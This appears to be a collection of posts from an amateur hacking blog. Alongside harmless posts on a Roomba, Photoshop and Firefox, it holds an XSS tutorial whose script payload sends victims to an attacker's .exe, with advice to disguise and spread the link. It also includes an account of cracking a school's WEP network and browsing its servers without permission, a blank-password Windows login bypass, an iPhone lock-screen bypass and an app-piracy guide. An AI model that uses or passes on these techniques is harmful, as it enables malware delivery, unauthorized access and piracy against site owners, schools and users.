It's ROOMBA Time

Today, while I was looking around for something to do, I came across my mom's old Roomba and I decided I was going to try and hack it.


For those of you who don't know, the Roomba is actually a fairly simple robot to hack, because it has a built in port Roomba Open Interface (ROI) Port that takes an 7-pin connector. This allows anyone with a bit of mechanical skills to build their own connector and begin to mess around with the Roomba's coding. And if you aren't the technically minded, you can always purchase a pre-made ROI interfacer from RoboDynamics or another online provider of Roomba interfacing technology. I, however, prefer to go hardcore and make my own.

Because I just decided today to finally getting around to hacking our family Roomba, I still need to build an adapter and all that. I will be posting my progress on this blog, along with explanations and tutorials of everything I do so that you can all have the opportunity to hack a Roomba as well, if you choose.

The first step, before even building the interfacer, is to get the old Roomba working again. Wish me luck with that one ;).

How To - Get iPhone/iTouch Apps from Appulo.us

This Guide has been moved to a new home!  Please visit it to learn how to get apps for free!

Guide for 2.x
Guide for 3.x
New!  Use this guide to install "Install0us," the better tool for install apps.  You won't regret it.  Guide for all iPhone OS.

First off, we don't support pirating at all.  We think that all developers should be given credit and payment for their work - if you pirate you are not giving them that credit.  Appulo.us suggests usings its database as a trial period, We suggest the same.  This is simply a guide on how to do it - for educational purposes if you want to set up your own database to test from.  We do not have any affiliations with any other body.


Alright, first off, you're iPhone (Everything here works for the iPod touch as well, iPhone is simply more universal to say) needs to be running at least OS 2, and it needs to be jailbroken with Cydia installed.  If you haven't gotten that far, get that far.  Then come back here and read the rest.

**Removed**

QuickTether - Does It Really Work?

Hellz Ya it works.

Dancool's website appears to be down, he sent the new Download Link out over Twitter - here it is.  His website is back up.  (Looking at Twitter and his Blog, I think the Software is still being Beta Tested - use only at your own risk, and don't ask him for support - only mention bugs.)

I'm using it now.  One issue I have already run into - you need to have libusb installed on your computer (at least for Windows x86 Ultimate) before the program will run correctly, it does not run before you do.  Please follow this guide to install it correctly.  After that (I even restarted O.o ) The program ran fine.

The hardest part I have found was putting the iPod into DFU mode, that took me about 4 tries - I remember doing it with QuickPWN to a first generation iPod touch and got it on the first try, so perhaps the instructions could use a little work...

 

(It's working...)

(Verifying Software?  LMFAO)

Also, once you have done everything and you use the Boot in Quicktether, (disconnected it immediatly after it says it has finished) and then wait.  If it boots up to what looks life DFU mode, don't panic.

If you can take pictures, or see the battery symbol in the top of the screen, all you need to do is plug it back into your computer, open iTunes (really, it's safe) and then set up your iPod.  It's awesome.  I Jailbroke my iTouch.

 

Mind you this is Tethered, but plugging it into my computer to boot is not my biggest worry.  Now, the world is much more open with me, and I get to discover all new fun things.  As well as.... well, getting my old App's back, lol.

XSS Vulnerabilities

Thousands of new websites are popping up every day on the world wide web. It is a great way for people all across the world to display information, to talk with friends, all kinds of great things. We aren't even using the internet to its full potential yet! Theres just one problem: the internet is vulnerable, and that makes computers who go ON the internet vulnerable.

Take cross side scripting (XSS) vulnerabilities. Note that cross side scripting is 'XSS', not 'CSS'. CSS stands for Cascading Style Sheets and is used along with html to organize and structure web pages. For all new web designers, it is important to protect yourself against xss attacks, which are quite common and unbelievably simple to perform.

What is an xss attack?
XSS is a form of client-side attack. Basically it means that an attacker can inject code into a website from his own computer, even without administrative or FTP privelages. Lets use a common feature on websites for an example. A search box. A user inputs a query into the box and hits search. After a few moments, a new page displays with lists of links to different pages that relate to your search. But what happens to the actual HTML? Next time you search, take a look at the source code that is returned to your browser after a search. Your search term (in an xss vulnerable site) was put directly into the html. This happens when the search page displays something along the lines of "Your search for: 'yoursearchtermhere'" at the top of the page. XSS is using that search term in the html code to inject your own code.

How do I know if a page is xss vulnerable?
This is simple. go to any sort of input box. This can be a login, password, email, search box, anything that allows you to type and submit. In the box, type "alert('XSS vulnerable')" (make sure to omit the quotation marks and add tags). When you hit enter, if a pop up box displaying "XSS vulnerable" appears, then the page is vulnerable to javascript xss exploits.

How can an XSS vulnerability on my site be used?
There are lots of ways that XSS can be used. One of the more dangerous ways to use it is to inject code to steal users cookies, which can then be used to trick the websites server into granting you access to that users account and information. It can also be used to download local files from another persons computer.

Ok... but HOW?
Simple. If you have found a site vulnerable to cross site scripting, inputting this code will allow you to download a file to someones computer (you must add < and > around the 'script' and '/script' tags):

script document.location="Your site's .exe file";/script

Put that into the search box and you should be prompted to download your executable. Wonderful. Now what? Now, you copy and paste the full url from the address bar and you can give it to anyone via forum, IM, email, whatever floats your boat. If someone opens it and downloads the executable, they will download whatever your exe file contained.

No one would be stupid enough to fall for that... would they?
Depends. First of all, this can be done to a trustworthy site. The LAPD site happens to be vulnerable to XSS. Adding your script to the end of the LAPD's site may very well fool most people. But if you really want to hide it from people, then you can use a URL masker/encoder to hide the part of the url that shows your script request. That will fool most people.

So there you have it. Play around with XSS for a little bit and you will quickly see the dangers that it can pose to an unprotected site. So make sure, if you are building a site, to properly clean up your code so that users cannot input their own scripts to hijack your site and/or your clients computers and information.



**I DO NOT CONDONE THE USE OF XSS OR ANY OTHER FORM OF 'HACKING' OR SCRIPTING AGAINST A SITE. USE ANYTHING IN THIS POST AT YOUR OWN RISK, AND REMEMBER USE OF IT WITHOUT PERMISSION OF A SITES OWNER IS ILLEGAL**

Macworld Today

Well, at least the anticipated part of it.  I won't go into detail because I'm sure you can find other places which already have it.

However, the interesting point is, Apple released two new pieces of software, although iLife '09 is not going to be released until late January.  iWork '09 is already out, and erm, already cracked.

Now, let's be honest, we aren't talking reversed compiled and/or reversed engineered, but a quick search on your favorite torrent site will reveal iWork '09 with serial numbers.  This means that Apple is already losing potential money on their product which has not yet been out for more than a day.  What does this mean?  Well, it means that it is hard to beat the Pirates, we will go for almost anything.  It also means that perhaps it is time for a new method of protection - sharing serial numbers is way to easy.

The Ultimate Hack

I was watching a movie in my human anatomy class today, and I saw an amazing invention. This machine, built by a Japanese telephone corporation allows for the ultimate hack. I'm not talking about hacking into uber-encrypted, top security government servers and systems. And I'm not talking about hacking your automobile to get more miles for your gas money. Oh no. I'm talking about something much more exciting. I'm talking about this:



Yes, thats right. A Japanese company has discovered a way to hack the human mind and turn a normal person into a remote control car!

This technology, called galvanic vestibular stimulation (GVS) uses low level electric pulses from electrodes to stimulate the inner ear. Because the ear controls your balance using liquid filled tubes, scientists have been playing around with electricity to effect human balance. And now they have succeeded.

With this new technology, it is possible to have a person move either left or right while walking by stimulating their ear's balance mechanism. While you can not be forced to move left or right specifically (at least not by this device), because of the way your brain reacts to the electrical stimuli, it will feel as if you are falling unless you move in the direction the remote control tells you to move in.

While I can see this technology being very, very useful in those "non-lethal" military situations, NTT has a different idea for the technology. Video games. With the ability to physically effect how someone feels currently, such as making them dizzy or feel like they are moving in a certain direction, the video game possibilities are endless. The GVS also has the capability of being used to help people with balance disorders, or even as human GPS!

What do you think? Is this much control over the human mind good or bad? If you had the chance to use this technology to be controlled by a stranger as a tourist attraction, would you?

Exploit #1 - School Attack

What kind of bloggers would we be if we just talked about everything cool happening in the world, and didn't actually do anything ourselves?  We are a hacking blog, we talk about hacks, see what hacks are out there, and how to defend against them.  As always, you should hack responsibly, working on making the world (or network) a safer place.

So what did I do that merits a blog post?  My friend and I were at school today, messing around.  Our school is pretty special in that it has two networks, a public one, and a private encrypted one.  Of course, the encryptions is only WEP, so my friend hacked it and shared the key with me.  Great, we are in.  So now what do we do?

Cue nmap.  A necessary program which allows us to view other computers on the network.  Because we are on the Secure Network, so are all the other school's computers.  Well, my friend and I found the school's server which was hosting the firewall.  In our attempts to hack it, I showed another friend around.

I explained that the Firewall really isn't that big a deal.  To get around it, you can just "ping" a website to find out its address, and then use the IP address instead of the URL to reach the site.  As an example, I typed in this to my OpenSuse Terminal:
$ping www
Of course, this brought up an unexpected result.  It fetched the IP address of the school's website, which was on the network.  I then used nmap to map its ports:
$ sudo nmap -sS IPADDRESS
And this showed me that our school's web server was running an FTP client with the FTP port open.  Using the terminal, I FTP'ed into it, (I used my own username and password, which worked).
The FTP brought me to my own files and folders.  I wasn't surprised, I had used my own log in credentials.  What did surprise me though, was that I could access some other folders.  I went back to the root directory, and found that there were quite a few folders which I didn't know existed.  I poked around a little bit, and then left.

There was a lot of other things to explore, and we haven't gotten into the Sonic Wall yet, but nmap has proven to be invaluable already.  Now we just need to sniff some passwords.

Hacking Passwords

So, ever want to log into your friends computer, but don't know their password?  Well, on a good well protected computer, you are probably screwed.  But, on most computers, (I'm sure this will work on many public computers, like the ones you find in Hotel lobbies) there are some simple work arounds.

1:  The first thing you should try is booting the computer, and booting it into safe mode.  This can be done differently depending on the computer, but usually you have to hit a function key (f(x)) to get it to boot into safe mode. From there, log in as "Administrator" with a blank password.  If this works, you can then change or create any passwords for any other user.

Other methods coming soon!

Sarah Palin - Hacked

If you haven't heard about the recent "hacking" of Sarah Palin's yahoo email account, I suggest you read it. It is actually quite interesting, and I think I will use it to talk a little bit about hacking.

The first thing I want to mention is the ethics of hacking. There are different types of "hackers" in the cyber world (For the benefit of my fingers and your reading pleasure I am going to use the term 'hacker' to describe one who utilizes their technology prowess to illegally alter or gain information from a source. Technically, this is called 'cracking'). The "good hacker" is known as a white hat hacker, a "bad hacker" is a black hat hacker, and a grey hat hacker is a mixture of the two. It is important to know about the different types of hackers when considering the 'ethics' of hacking.

When a young college boy hacked into Sarah Palin's email account, he was doing it for malevolent purposes, thus making himself a black hat hacker. He wanted to dig up some dirt on Palin, and this was his method of doing that. Obviously no one would consider what he did 'ethical'. But is hacking ever really ethical? White hat hackers often claim that what they do is ethical. They often will hack into a site or server and then report the security breaches to the owner of that site or server, along with suggestions on how to fix it. A prime example of this was MIT when they hacked the Boston Transit Systems electronic swipe cards. This may be 'ethical' to some people, but it is important to keep in mind that it is illegal regardless, unless you get the owners permission.

What I also want to mention quickly is the ethical use of Yahoo's email servers. Sarah Palin's account was easily 'hacked'. Basically, the hacker did some research on Google and used the password reset ability of Yahoo by answering the security questions correctly. For this reason, you must always be careful when using one of the anonymous email services found online, because you never know who may be able to gain access to your account.

The main point I am trying to make in this article is that you have to be careful and tread lightly. It doesn't matter if your 'hack' is simply redoing the password on someones computer. I've done that on my friends laptop before by using the Windows XP built in back door. I made the password "mikerules". Was it ethical? Yes, because he knew I was messing with his computer. I had his permission to try it. But if you EVER do anything like this then rest assured, chances are you will be caught unless you know what you are doing, and you know it well.

And for Christ's sake, after you hack the VP-hopeful, don't post about your deed on an open forum. That's just asking for you to be arrested.




***
As always, hack responsibly.

How to remove the tourists from a photo

So how many times have you taken a great photo of some historic landmark or whatever, and it's crawling with tourists in it? Here's a nice, simple guide to remove those pesky tourists from your shot. A quick note before starting - I will be using Photoshop for this tutorial. There are ways to do it with other programs, such as GIMP, but I won't be covering them in this post.

The first step, of course, is taking the picture. The key here is to take several pictures. You want all the pictures to be similar, also, so use a tripod! The reason you need to use a tripod is so that you can get three pictures in the same exact location.

When you take the three pictures, make sure that you take the pictures at three different times, so that in each picture the tourists have moved. If there was a tourist standing under a tree in shot 1, for example, make sure there is no one in that area for the second shot.

Once you have all the shots and they are uploaded to your computer, open them all in Photoshop. You will then want to copy/paste all the pictures into a single document, as SEPARATE layers. If you change the formatting for any picture when you upload it, make sure you make the same formatting changes for ALL the pictures. You may also need to use the "move" tool in order to adjust the layers and make sure that they all fit properly.

The next step is to make the top layer (pic 3 in this tutorial) invisible by clicking the small 'eye' icon. Create an empty mask on the second layer (pic 2) with the 'mask' button while holding down you option (mac) or alt (PC) button. The mask will go black and your whole layer will be hidden.

The last step is to remove the people from the photo. You will do this with the brush tool. Select the brush tool, and make sure you choose the 'feathered' option. Using white as your forecolor, paint over the layer where the tourists are. As you paint, they will disappear!

You may not be able to remove all the people in the photo, so what you need to do is select the 3rd layer, create an empty mask for it, and brush the remaining people out. Rinse, lather, repeat for as many layers as you have.

You should now have a landscape free of the tourists.

Facebook - Are you being exploited?

Raise your hand if you have an account on Facebook, Myspace, or any other social networking service? That's what I thought. Just about everyone. And, if you're anything like me and my group of friends then you have tons of nifty little applications on your profile. But are you really safe?

A group of computer researchers have developed an application for Facebook that will allow them to exploit any user who installs the application, without the users knowledge. The idea behind the exploit is to show a security flaw in social networks that could allow hackers to control the users of the social networks and utilize their computers for their own ends.

The researchers' application was the photo of the day application supposedly from National Geographic. Basically, once a use installed the application, they would be able to a daily picture from National Geographic - and they downloaded 3 pictures from another website without knowing about it.

The idea behind this particular attack (targeted at the researchers own servers) was to get as many people into the application as possible, and then flood the website that was being downloaded from. This is a very basic attack used for demonstration purposes, but if utilized by a malicious hacker, it could be much worse. And whats more, once the application was installed, the user was forced into the attack again every time they logged on - without their knowledge of course.

So the next time you find a nice little third party Facebook application, just remember that you could be getting recruited into a h4x07z cyber army... dun dun dunnnnn...


view the original Wired article.

Apple iPhone - A hack waiting to happen

As many of you probably know, Apple has a new phone out - the omnipotent iPhone. They've certainly spent enough money on their advertising to show everyone their newest brain child. It's supposed to be "twice as fast, half the price". Which of course is false, as this pamphlet leaked by Verizon shows, they're are quite a few things that it seems Apple may have been trying to cover up.

Now, I could care less about most aspects of the phone on that list (not that I'm going to buy one soon anyway - if I had that much money lying around, I'd be buying something much better than a cell phone all dressed up in pretty clothes), but there is one very interesting thing about the phone I found out today thanks to the Register. Apparently, the iPhones security isn't quite up to date either.

What does THAT mean you may ask. Well, that means that it is quite easy to hack the iPhone 3G. And, being the Hack Hut, we'll let you know just how to do it. Apparently, it is possible to gain access to a password protected and locked iPhone's 'favorites' section without the passcode. By simply tapping the "emergency call" button from the passcode screen, and then double-tapping the "home" button, it is possible to bypass the passcode portion of the iPhone. From the favorites, you can gain access to many other portions of the iPhone, such as the browser screen, the e-mail client screen, or the address book.

If you have an iPhone, I wouldn't be too worried yet. Before you sue the pants off of Apple for selling you a phone with faulty security features, you should know that this hack DOES NOT work on all iPhone 3G's. The iPhone must have a certain software version (which I will not be disclosing). Also, if you do happen to have the faulty software, I would bet my life on the fact that Apple will come up with a firmware update to protect the vulnerable phones from hackers, especially since they are trying to promote the iPhone as a business-friendly phone. Not when it's that vulnerable!

As with all other "hacking" tutorials you may find on this blog, if used improperly the information in this post can be illegal. You should only try this on your OWN iPhone, or get the permission of the owner of an iPhone. But if you give it a shot legally, please let us know how it went! Did it work for you?

Firefox 3 adds "mailto:" hack

I'm sure that I'm not the only one who's ever had this problem. You're cruising the internet, looking for something. Even you're not quite sure what you were looking for anymore. But you come across a website, and there's a bloody error on the page. Maybe the flash is broken, or the words-on-background are so abysmally horrible they make you want to tear your eyes out. So you do what any good web surfer should do. You click the little "email the webmaster" link hovering around the bottom of the page.

You all know what comes next, I'm sure. You spend about 10 minutes waiting for Microsoft Outlook to pop open so you can type your message, spend 1 minute typing the message, 4 minutes trying to figure out how to send the message, 30 minutes figuring out why outlook keeps encountering a problem, and then you finally give up and copy/paste the address to gmail. And, of course, the whole time you were wondering "Now wouldn't this have been easier if I could just use my Gmail account in the first place?" Good news! Firefox will now let you do just that!

In order to make Firefox use gmail as the default mailto service is quite simple, and takes virtually no time at all. First, open up your Firefox browser and in the address bar type:
about:config

A screen will open up warning you that continuing could void your warranty. Click "I'll be careful, I promise". You won't be voiding your warranty this time 'round.

Next, in the 'filter' bar, type:
gecko.handlerservice
This will show a smaller list of choices to pick from. Double click the option:
gecko.handlerService.allowRegisterFromDifferentHost
When you double click on this, the boolean value will become 'true'. This is exactly what you want it to do, as it will allow you to access a different email service from a mailto link. Lastly, copy the following javascript code into your browser's address bar and hit enter (I would copy and paste the code- you don't want to accidentally put the wrong javascript in):
javascript:window.navigator.registerProtocolHandler("mailto", "https://mail.google.com/mail/?extsrc=mailto&url=%s","GMail")

Now just click "add application" on the bar that appears below your address bar, and voila! The next time you click a mailto link, you can choose gmail, and if you tick the "remember my choice" box, then in the future Firefox will always use gmail.

Good bye outlook mailto nuisances!